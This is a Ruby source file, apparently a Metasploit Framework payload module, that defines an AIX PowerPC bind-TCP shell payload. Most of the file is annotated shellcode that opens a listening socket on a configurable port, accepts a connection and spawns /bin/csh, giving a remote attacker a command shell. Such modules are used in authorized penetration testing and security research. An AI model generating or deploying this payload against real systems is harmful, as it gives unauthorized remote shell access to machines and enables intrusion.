125 lines
5.2 KiB
Ruby
125 lines
5.2 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/handler/bind_tcp'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module Metasploit3
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Aix
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'AIX Command Shell, Bind TCP Inline',
|
|
'Version' => '$Revision$',
|
|
'Description' => 'Listen for a connection and spawn a command shell',
|
|
'Author' => 'ramon',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'aix',
|
|
'Arch' => ARCH_PPC,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShellUnix,
|
|
'Payload' =>
|
|
{
|
|
'Offsets' =>
|
|
{
|
|
'LPORT' => [ 82, 'n' ],
|
|
},
|
|
}
|
|
))
|
|
|
|
end
|
|
|
|
def generate(*args)
|
|
super(*args)
|
|
|
|
payload =
|
|
"\x7f\xff\xfa\x79" +# xor. r31,r31,r31 #
|
|
"\x40\x82\xff\xfd" +# bnel <bndsockcode> #
|
|
"\x7f\xc8\x02\xa6" +# mflr r30 #
|
|
"\x3b\xde\x01\xff" +# cal r30,511(r30) #
|
|
"\x3b\xde\xfe\x1d" +# cal r30,-483(r30) #
|
|
"\x7f\xc9\x03\xa6" +# mtctr r30 #
|
|
"\x4e\x80\x04\x20" +# bctr #
|
|
"\x4c\xc6\x33\x42" +# crorc 6,6,6 #
|
|
"\x44\xff\xff\x02" +# svca 0 #
|
|
"\x3b\xde\xff\xf8" +# cal r30,-8(r30) #
|
|
"\x3b\xa0\x07\xff" +# lil r29,2047 #
|
|
"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
|
|
"\x38\x9d\xf8\x02" +# cal r4,-2046(r29) #
|
|
"\x38\x7d\xf8\x03" +# cal r3,-2045(r29) #
|
|
@cal_socket +
|
|
"\x7f\xc9\x03\xa6" +# mtctr r30 #
|
|
"\x4e\x80\x04\x21" +# bctrl #
|
|
"\x7c\x7c\x1b\x78" +# mr r28,r3 #
|
|
"\x38\xbd\xf8\x11" +# cal r5,-2031(r29) #
|
|
"\x3f\x60\xff\x02" +# liu r27,-254 #
|
|
"\x63\x7b\x11\x5c" +# oril r27,r27,4444 #
|
|
"\x97\xe1\xff\xfc" +# stu r31,-4(r1) #
|
|
"\x97\x61\xff\xfc" +# stu r27,-4(r1) #
|
|
"\x7c\x24\x0b\x78" +# mr r4,r1 #
|
|
@cal_bind +
|
|
"\x7f\xc9\x03\xa6" +# mtctr r30 #
|
|
"\x4e\x80\x04\x21" +# bctrl #
|
|
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
|
|
"\x7f\x83\xe3\x78" +# mr r3,r28 #
|
|
@cal_listen +
|
|
"\x7f\xc9\x03\xa6" +# mtctr r30 #
|
|
"\x4e\x80\x04\x21" +# bctrl #
|
|
"\x7c\xa5\x2a\x78" +# xor r5,r5,r5 #
|
|
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
|
|
"\x7f\x83\xe3\x78" +# mr r3,r28 #
|
|
@cal_accept +
|
|
"\x7f\xc9\x03\xa6" +# mtctr r30 #
|
|
"\x4e\x80\x04\x21" +# bctrl #
|
|
"\x7c\x7a\x1b\x78" +# mr r26,r3 #
|
|
"\x3b\x3d\xf8\x03" +# cal r25,-2045(r29) #
|
|
"\x7f\x23\xcb\x78" +# mr r3,r25 #
|
|
@cal_close +
|
|
"\x7f\xc9\x03\xa6" +# mtctr r30 #
|
|
"\x4e\x80\x04\x21" +# bctrl #
|
|
"\x7f\x25\xcb\x78" +# mr r5,r25 #
|
|
"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
|
|
"\x7f\x43\xd3\x78" +# mr r3,r26 #
|
|
@cal_kfcntl +
|
|
"\x7f\xc9\x03\xa6" +# mtctr r30 #
|
|
"\x4e\x80\x04\x21" +# bctrl #
|
|
"\x37\x39\xff\xff" +# ai. r25,r25,-1 #
|
|
"\x40\x80\xff\xd4" +# bge <bndsockcode+160> #
|
|
"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
|
|
"\x40\x82\xff\xfd" +# bnel <bndsockcode+208> #
|
|
"\x7f\x08\x02\xa6" +# mflr r24 #
|
|
"\x3b\x18\x01\xff" +# cal r24,511(r24) #
|
|
"\x38\x78\xfe\x29" +# cal r3,-471(r24) #
|
|
"\x98\xb8\xfe\x31" +# stb r5,-463(r24) #
|
|
"\x94\xa1\xff\xfc" +# stu r5,-4(r1) #
|
|
"\x94\x61\xff\xfc" +# stu r3,-4(r1) #
|
|
"\x7c\x24\x0b\x78" +# mr r4,r1 #
|
|
@cal_execve +
|
|
"\x7f\xc9\x03\xa6" +# mtctr r30 #
|
|
"\x4e\x80\x04\x21" +# bctrl #
|
|
"/bin/csh"
|
|
|
|
# If the payload is generated and there are offsets to substitute,
|
|
# do that now.
|
|
if (payload and offsets)
|
|
substitute_vars(payload, offsets)
|
|
end
|
|
|
|
payload
|
|
end
|
|
|
|
end
|